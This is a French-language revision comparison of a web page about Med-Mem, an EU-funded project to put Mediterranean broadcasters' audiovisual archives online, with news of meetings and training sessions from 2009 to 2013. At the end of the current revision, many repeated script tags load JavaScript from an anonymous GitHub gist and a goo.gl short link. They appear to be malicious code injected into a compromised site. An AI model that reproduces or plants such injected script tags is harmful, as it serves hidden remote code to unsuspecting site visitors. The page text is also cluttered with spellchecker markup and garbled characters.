You are viewing an old revision of this post, from September 14, 2011 @ 17:28:05. See below for differences between this version and the current revision.
13 mai 2011, Ayia Napa, Chypre
Dans le cadre de la 18ème Conférence annuelle de la COPEAM, s’est tenue à Chypre une réunion d’étude du projet Med-Mem, accueillie par la CyBC, radio télévision publique chypriote.
Cette rencontre a été l’occasion, pour l’ensemble des 6 partenaires et 12 associés, de faire un point sur chaque volet d’activité du projet au terme de la deuxième année et d’apporter des éléments de visibilité et de diffusion à cette action.
En particulier, un kit rassemblant des outils de communication a été distribué afin de faciliter toute action de promotion du projet par les partenaires et associés, y compris l’ouverture d’une section dédiée à Med-Mem sur les sites internet de chacun. De plus, un clip promotionnel a été présenté pendant la session et, une fois enrichi par les suggestions recueillies, sera diffusé sur les chaînes des partenaires/associés radiodiffuseurs pour la promotion du site Med-Mem auprès du grand public.
Lors de la réunion, il a été annoncé la volonté de SOREAD 2M et CyBC de rejoindre le projet. A cette occasion, Themis Themistocleous, Directeur Général de la radiotélévision chypriote, a signé un document avec l’Ina, chef de file Med-Mem, formalisant l’engagement de la CyBC.
L’association de nouveaux contributeurs au projet permettra certainement d’enrichir davantage, dans les mois à venir, le fonds documentaire Med-Mem pour une majeure représentativité du patrimoine audiovisuel euro-méditerranéen.
En conclusion, une session technique sur l’outil d’alimentation du futur site Internet a eu lieu afin pour faciliter la compréhension des modalités de travail et des objectifs chiffrés à atteindre par chacun.
Changes:
September 14, 2011 @ 17:28:05 | Current Revision | ||
---|---|---|---|
Title | |||
Reunion de travail Med-Mem | Med-Mem: Mémoires Audiovisuelles de la Méditerranée |
Content | |||
---|---|---|---|
<p> | |||
<div style="text-align: justify;">Cofinancé à 68% parla Commission Européenne dans le cadre du Programme EUROMED Héritage IV, le projet Med-Mem, piloté par l’INA – l’Institut National de l’Audiovisuel français – consiste dans la mise en œuvre d’un site Internet promouvant le patrimoine de la zone euro-méditerranéenne à travers la mise en ligne d’archives audiovisuelles éditorialisées des télévisions publiques de la Région.</div> | |||
<table style="width: 529px; height: 76px;" border="0" cellspacing="1" cellpadding="1"> | |||
<tbody> | |||
<tr> | |||
<td rowspan="2" valign="top"><img style="width: 96px; height: 96px;" src="/userfiles/ image/LOGO_UE_FR_big.jpg" alt="" width="143" height="140" /></td> | |||
<td valign="top"><span style="color: #0000ff !important;"><span style="text-decoration: underline;"><img style="width: 220px; height: 33px;" src="/userfiles/ heritage.jpg" alt="" /> | |||
www.euromedheritage.net< /span></span></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
<span style="color: #3366cc;"><span style="font-size: 10px;"><strong><span style="font-size: 14px;"> | |||
A LA <span data-scayt_word="UNE" data-scaytid= "222">UNE</span></span></ strong></span></span> | |||
<p> | |||
<p style="text-align: justify;"><a href="http:// www.medmem.eu"><img style="float: left;" src="http://www.copeam.org/ userfiles/image/ Page%20accueil%20Med-Mem.jpg" alt="" width="226" height="323" /></a><span data-scayt_word="Après" data-scaytid= "223">Après</span> 4 <span data-scayt_word="ans" data-scaytid= "224">ans</span> de travail <span data-scayt_word="commun" data-scaytid= "225">commun</span> et suite aux <span data-scayt_word="deux" data-scaytid= "226">deux</span> <span data-scayt_word= "événements" data-scaytid= "227">événements</span> de <span data-scayt_word="lancement" data-scaytid= "228">lancement</span> du site www.medmem.eu qui <span data-scayt_word="ont" data-scaytid= "229">ont</span> <span data-scayt_word="eu" data-scaytid= "230">eu</span> lieu <span data-scayt_word="à " data-scaytid= "216">à</span> <span data-scayt_word="Marseille" data-scaytid= "234">Marseille</span> en <span data-scayt_word="octobre" data-scaytid= "235">octobre</span> 2012 et <span data-scayt_word="à " data-scaytid= "217">à</span> Rabat en <span data-scayt_word="janvier" data-scaytid= "236">janvier</span> 2013, les <span data-scayt_word= "partenaires" data-scaytid= "237">partenaires</span> et <span data-scayt_word= "associés" data-scaytid= "238">associés</span> du <span data-scayt_word="projet" data-scaytid= "219">projet</span> <span data-scayt_word="Med-Mem" data-scaytid= "220">Med-Mem</span> se <span data-scayt_word="sont" data-scaytid= "241">sont</span> <span data-scayt_word= "rencontrés" data-scaytid= "242">rencontrés</span> <span data-scayt_word="une" data-scaytid= "243">une</span> nouvelle <span data-scayt_word="fois" data-scaytid= "244">fois</span> le 22 mars dernier, <span data-scayt_word="à " data-scaytid= "218">à</span> <span data-scayt_word= "l’occasion" data-scaytid= "245">l’occasion</span> de la <span data-scayt_word= "Conférence" data-scaytid= "246">Conférence</span> <span data-scayt_word="annuelle" data-scaytid= "247">annuelle</span> de la <span data-scayt_word="COPEAM" data-scaytid= "221">COPEAM</span>. | |||
Le <span data-scayt_word= "cofinancement" data-scaytid= "263">cofinancement</span> <span data-scayt_word="à " data-scaytid= "249">à</span> 68% de <span data-scayt_word= "l’UE" data-scaytid= "267">l’UE</span> <span data-scayt_word="dans" data-scaytid= "252">dans</span> le cadre du <span data-scayt_word="Programme" data-scaytid= "253">Programme</span> <span data-scayt_word="Euromed" data-scaytid= "254">Euromed</span> <span data-scayt_word= "Héritage" data-scaytid= "255">Héritage</span> IV <span data-scayt_word= "s’étant" data-scaytid= "272">s’étant</span> <span data-scayt_word="achevé" data-scaytid= "273">achevé</span> fin <span data-scayt_word="janvier" data-scaytid= "256">janvier</span> 2013, la <span data-scayt_word= "réunion" data-scaytid= "275">réunion</span> de <span data-scayt_word="Cagliari" data-scaytid= "276">Cagliari</span> a <span data-scayt_word="porté" data-scaytid= "277">porté</span> <span data-scayt_word= "principalement" data-scaytid= "278">principalement</span> <span data-scayt_word="sur" data-scaytid= "257">sur</span> les <span data-scayt_word="possibles" data-scaytid= "280">possibles</span> <span data-scayt_word="pistes" data-scaytid= "281">pistes</span> de <span data-scayt_word= "pérennisation" data-scaytid= "282">pérennisation</span> du <span data-scayt_word="projet" data-scaytid= "258">projet</span>. <span data-scayt_word="Outre" data-scaytid= "284">Outre</span> la <span data-scayt_word="mise" data-scaytid= "259">mise</span> en place <span data-scayt_word= "d’un" data-scaytid= "260">d’un</span> <span data-scayt_word="comité" data-scaytid= "287">comité</span> de pilotage qui <span data-scayt_word="confie" data-scaytid= "288">confie</span> <span data-scayt_word="à " data-scaytid= "250">à</span> <span data-scayt_word="chaque" data-scaytid= "289">chaque</span> <span data-scayt_word= "partenaire" data-scaytid= "290">partenaire</span> des <span data-scayt_word= "responsabilités" data-scaytid= "291">responsabilités</span> <span data-scayt_word="bien" data-scaytid= "292">bien</span> <span data-scayt_word= "définies" data-scaytid= "293">définies</span> et <span data-scayt_word= "adaptées" data-scaytid= "294">adaptées</span> <span data-scayt_word="à " data-scaytid= "251">à</span> <span data-scayt_word="leurs" data-scaytid= "295">leurs</span> <span data-scayt_word= "compétences" data-scaytid= "296">compétences</span>, les participants <span data-scayt_word="ont" data-scaytid= "261">ont</span> <span data-scayt_word="abordé" data-scaytid= "299">abordé</span> la question de <span data-scayt_word= "l’élargissement" data-scaytid= "300">l’élargissement</span> des <span data-scayt_word= "contributeurs" data-scaytid= "301">contributeurs</span>. De plus, <span data-scayt_word="ils" data-scaytid= "302">ils</span> <span data-scayt_word="ont" data-scaytid= "262">ont</span> <span data-scayt_word= "réfléchi" data-scaytid= "303">réfléchi</span> aux <span data-scayt_word= "différentes" data-scaytid= "304">différentes</span> propositions de business plan <span data-scayt_word= "présentées" data-scaytid= "305">présentées</span>. | |||
<span data-scayt_word="Une" data-scaytid= "399">Une</span> <span data-scayt_word= "réunion" data-scaytid= "349">réunion</span> du <span data-scayt_word="comité" data-scaytid= "350">comité</span> de pilotage <span data-scayt_word="est" data-scaytid= "402">est</span> <span data-scayt_word="à " data-scaytid= "351">à</span> <span data-scayt_word= "prévoir" data-scaytid= "405">prévoir</span> <span data-scayt_word="dans" data-scaytid= "353">dans</span> les <span data-scayt_word="mois" data-scaytid= "408">mois</span> <span data-scayt_word="à " data-scaytid= "352">à</span> <span data-scayt_word="venir" data-scaytid= "409">venir</span>, <span data-scayt_word="afin" data-scaytid= "410">afin</span> de <span data-scayt_word= "progresser" data-scaytid= "411">progresser</span> <span data-scayt_word="dans" data-scaytid= "354">dans</span> la <span data-scayt_word= "définition" data-scaytid= "412">définition</span> de la <span data-scayt_word="meilleure" data-scaytid= "413">meilleure</span> <span data-scayt_word= "stratégie" data-scaytid= "414">stratégie</span> de <span data-scayt_word= "pérennisation" data-scaytid= "355">pérennisation</span>.</p> | |||
<p style="text-align: justify;"><a href="http:// www.medmem.eu"><span style="color: #0000cd;"><span style="text-decoration: underline;">< strong>www.medmem.eu</strong> </span></span></a></p> | |||
<div class="follow_up"></div> | |||
<strong>Formation « Indexer pour Med-Mem» (1/2) | |||
</strong><em>Alexandria (Egypte), 12-14 octobre 2009</em> | |||
La formation sur l’indexation qui aura lieu du 12 au 14 octobre 2009, accueillie par la Bibliotheca Alexandrina, sera l’occasion, pour une vingtaine de documentalistes provenant des organismes détenteurs d’archives partenaires et associés, d’échanger et d’adopter des pratiques d’indexation communes. | |||
Depuis le mois de mars dernier, les partenaires et associés de Med-Mem identifient et sélectionnent dans leurs archives, des documents audiovisuels autour de six macro-thèmes du projet - Arts et Culture, Histoire et Civilisations, Sociétés et Modes de vie, Paysages et Environnement, Tourisme – dont le traitement permettra d’offrir une image la plus complète possible du patrimoine culturel euro-méditerranéen. | |||
Après la collecte de ces premières données - plus de 100 documents par détenteur d’archives - une étude a été menée pour optimiser l’harmonisation des méthodes de sélection des documents entre les différents partenaires. | |||
Les conclusions de cette enquête ont, notamment, permis d’élaborer les contenus de la formation « Indexer pour Med-Mem » prévue à la Bibliothèque Alexandrina au mois d’octobre 2009. | |||
La première session de cette formation qui se place au croisement des volets documentaire et éditorial, sera consacrée à une rencontre entre les documentalistes et des chercheurs spécialistes des thèmes abordés. Les autres séances seront composées de contenus théoriques et d’applications pratiques sur l’indexation des documents. | |||
Dans l’attente de se rendre à Alexandrie, les radiodiffuseurs partenaires s’attèlent à la mise en place de leur station de numérisation qu’ils ont réceptionnée tout dernièrement, suite à la formation « Numérisation » qui s’est tenue le 21 Juillet au siège de la Rai à Turin. | |||
<a href="http:// www.copeam.org/UserFiles/ File/Projects/62_CPresse_ oct09%20pdf.pdf">Lire le communiqué de presse</a> | |||
<hr /> | |||
<strong>Med-Mem : Formation "Numérisation" </strong> | |||
<em>Turin 21 juillet 2009 | |||
</em> | |||
Le 21 juillet dernier les partenaires Med-Mem – COPEAM, EPTV, INA, JRTV, RAI, SNRT- se sont retrouvés pour la formation «Numérisation» qui a étéaccueillie et assurée par la Rai, à Turin et qui aconstitué une occasion unique de rencontre et de partage entre professionnels de la Méditerranée. | |||
L’objectif dela formation a consisté dans la présentation, l’installation et l’utilisation de la station de numérisation ainsi que du logiciel adapté au projet Med-Mem. | |||
Au-delà du transfert unilatéral de compétences, l’homogénéité des profils et l’expérience dans le domaine informatique des techniciens et des responsables d’archives présents ont permis d’engager une réflexion commune autour du processus de numérisation et des besoins communs dans ce domaine. | |||
Le logiciel de numérisation pour Med-Mem profitera de ces considérations ayant été conçu pour répondre aux exigences du projet. A la lumière de cet échange de haute qualité qui s’est tenu dans le cadre de la formation et sur la demande des partenaires, une adaptationqui rendra l'outil encore plus performant sera effectuée dans les prochains mois. | |||
Le projet Med-Mem fournira donc auxmembresdu consortium, une station de numérisation accompagnée d’un logiciel qui répondra aux besoins communs des organismes du sud et du nord de la Méditerranée et permettra d’améliorer le traitement général des archives audiovisuelles. | |||
<hr /> | |||
<span data-scayt_word="Cette" data-scaytid= "45">Cette</span> <span data-scayt_word="rencontre" data-scaytid= "46">rencontre</span> a été l’occasion, pour l’ensemble des 6 partenaires et 12 associés, de faire un point sur chaque volet d’activité du <span data-scayt_word="projet" data-scaytid= "28">projet</span> au terme de la deuxième année et d’apporter des éléments de visibilité et de diffusion <span data-scayt_word="Ã " data-scaytid= "16">à</span> cette action.<br /> | |||
<br /> | |||
En particulier, un kit rassemblant des outils de communication a été distribué afin de faciliter toute action de promotion du <span data-scayt_word="projet" data-scaytid= "29">projet</span> par les partenaires et associés, y compris l’ouverture d’une section dédiée <span data-scayt_word="Ã " data-scaytid= "17">à</span> <span data-scayt_word="Med-Mem" data-scaytid= "33">Med-Mem</span> sur les sites internet de chacun. De plus, un clip promotionnel a été présenté pendant la session et, <span data-scayt_word="une" data-scaytid= "21">une</span> fois enrichi par les suggestions recueillies, sera diffusé sur les chaînes des partenaires/associés radiodiffuseurs pour la promotion du site <span data-scayt_word="Med-Mem" data-scaytid= "34">Med-Mem</span> auprès du grand public.<br /> | |||
<strong>Med-Mem : Premier partage des mémoires méditerranéennes | |||
</strong><em>Le Caire, 18 avril 2009</em> | |||
Seulement trois mois après le démarrage du projet Med-Mem, cofinancé par l’UE, une première maquette du site – qui sera en ligne en 2011 - a été présentée à l’occasion de la 16e Conférence de la COPEAM, grâce à l’implication et à l’efficacité de ses partenaires. | |||
Les pages noircies, durant plusieurs mois, par les explications des multiples activités de ce projet sont apparues, en un instant, sur un écran d’ordinateur, claires, expressives et convaincantes. A partir d’une quarantaine de documents disponibles, il a été possible de montrer aux présents comment, d’ici quelques mois, ils pourront bénéficier d’une exploration guidée du patrimoine culturel de la région euro-méditerranéenne grâce aux archives audiovisuelles. | |||
Le site, en cours de conception et de construction, proposera divers modes de navigation : | |||
- une recherche classique par mot-clé ; | |||
- un accès cartographique où les documents seront classés par pays ; | |||
- une fresque chronologique sur laquelle certains documents seront répartis par année; | |||
- un accès par collection qui permettra de connaître la richesse et l’ampleur des fonds de chaque contributeur ; | |||
- un accès thématique qui regroupera les vidéos selon les six thèmes identifiés par le projet<sup>1</sup>. | |||
Chaque document audiovisuel sera assorti d’une notice documentaire, les contributions les plus courtes qui constitueront la « Fresque chronologique » seront accompagnées de notices de contextualisation rédigées par des professionnels et des spécialistes du patrimoine. Des dossiers thématiques réalisés par des enseignants-chercheurs, permettront un approfondissement sur des sélections de vidéos traitant des problématiques méditerranéennes incontournables. | |||
Puisque le passé permet de mieux comprendre le présent, quotidiennement, une « vidéo du jour » sera choisie pour éclairer une actualité importante. Enfin, toujours dans le souci d’entretenir un rapport étroit entre notre mémoire et nos intérêts présents, le site Med-Mem proposera un agenda culturel méditerranéen qui permettra de recenser les diverses manifestations autour du patrimoine et de la culture dans la région. | |||
<span style="font-size: xx-small;"><em>1.Les six thèmes identifiés par le projet sont : 1)les sites culturels 2)les coutumes, traditions, métiers et savoirs 3) les paysages et l’environnement 4) les expressions culturelles et artistiques, 5) histoire, 6) tourisme.</em></span> | |||
<hr /> | |||
Lors de la <span data-scayt_word= "réunion" data-scaytid= "25">ré union</span>, il a été annoncé la volonté de SOREAD 2M et <span data-scayt_word="CyBC" data-scaytid= "39">CyBC</span> de rejoindre le <span data-scayt_word="projet" data-scaytid= "30">projet</span>. A cette occasion, Themis Themistocleous, Directeur Général de la radioté lévision <span data-scayt_word="chypriote" data-scaytid= "44">chypriote</span>, a signé un document avec l’Ina, chef de file <span data-scayt_word="Med-Mem" data-scaytid= "35">Med-Mem</span>, formalisant l’engagement de la <span data-scayt_word="CyBC" data-scaytid= "40">CyBC</span>.<br /> | |||
<br /> | |||
L’association de nouveaux contributeurs au <span data-scayt_word="projet" data-scaytid= "31">projet</span> permettra certainement d’enrichir davantage, dans les mois <span data-scayt_word="Ã " data-scaytid= "18">à</span> venir, le fonds documentaire <span data-scayt_word="Med-Mem" data-scaytid= "36">Med-Mem</span> pour <span data-scayt_word="une" data-scaytid= "22">une</span> majeure représentativité du patrimoine audiovisuel euro-mé diterranéen.<br /> | |||
<br /> | |||
En conclusion, <span data-scayt_word="une" data-scaytid= "23">une</span> session technique sur l’outil d’alimentation du futur site Internet a eu lieu afin pour faciliter la compréhension des modalités de travail et des objectifs chiffrés <span data-scayt_word="Ã " data-scaytid= "19">à</span> atteindre par chacun.</p> | |||
<p> | |||
<a href="../../UserFiles/ File/Projects/ 62_CdP%20Medmem%20Chypre.pdf"><span style="color: rgb(0, 0, 205);"><u><strong><span data-scayt_word="Lisez" data-scaytid= "5">Lisez</span> le <span data-scayt_word= "communique" data-scaytid= "6">communique</span> de <span data-scayt_word="presse" data-scaytid= "7">presse</span></strong> </u></span></a></p> | |||
<strong>Med-Mem : Réunion de lancement</strong><em> | |||
(Marseille, 25-27 Février 2009)</em> | |||
Trois jours de travail - du 25 au 27 février 2009 - au siège de l'Ina Méditerranée (chef de file), à Marseille - ont marqué le lancement officiel du projet Med-Mem : «Partager les Mémoires Audiovisuelles de la Méditerranée». | |||
Sélectionné sur plus de 300 propositions - dont 12 seulement retenues par la Commission européenne - dans le cadre du Programme européen Euromed Héritage IV, Med-Mem consiste à numériser, à éditer et à mettre en ligne sur un site web dédié les archives audiovisuelles de la Méditerranée. | |||
Le partenariat établi, réunissant 18 organismes de 12 pays de la zone euro-méditerranéenne dont 10 télévisions publiques, coopérera pendant les trois prochaines années pour atteindre les objectifs communs de cette action: la préservation, la valorisation et le plus large accès par le public du patrimoine de la Méditerranée. | |||
Après une première rencontre ouverte aux seuls membres du consortium - INA, COPEAM, EPTV, RAI, JRTV, SNRT - destinée à préciser les rôles respectifs et à définir les aspects opérationnels liminaires à mettre en place, le deuxième jour de travail a enregistré la participation de 40 professionnels environ provenant des différents départements mobilisés par l'INA sur cette initiative, ainsi que des organismes associés suivants : UER, Bibliothèque Alexandrina, MMSH, Uninettuno, ERT, ERTU, HRT, IBA, pour la présentation par volet du projet. | |||
Les représentants de la RMSU, Unité Régionale de Soutien et de Gestion du programme EH IV de l'UE, ont également pris part aux travaux. | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | Lors de la journée de clôture, la préparation d'une pré-maquette du site Med-Mem a été envisagée en vue de sa présentation pendant la Conférence annuelle de la COPEAM, en avril prochain, au Caire, où les partenaires se sont donnés rendez-vous. <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.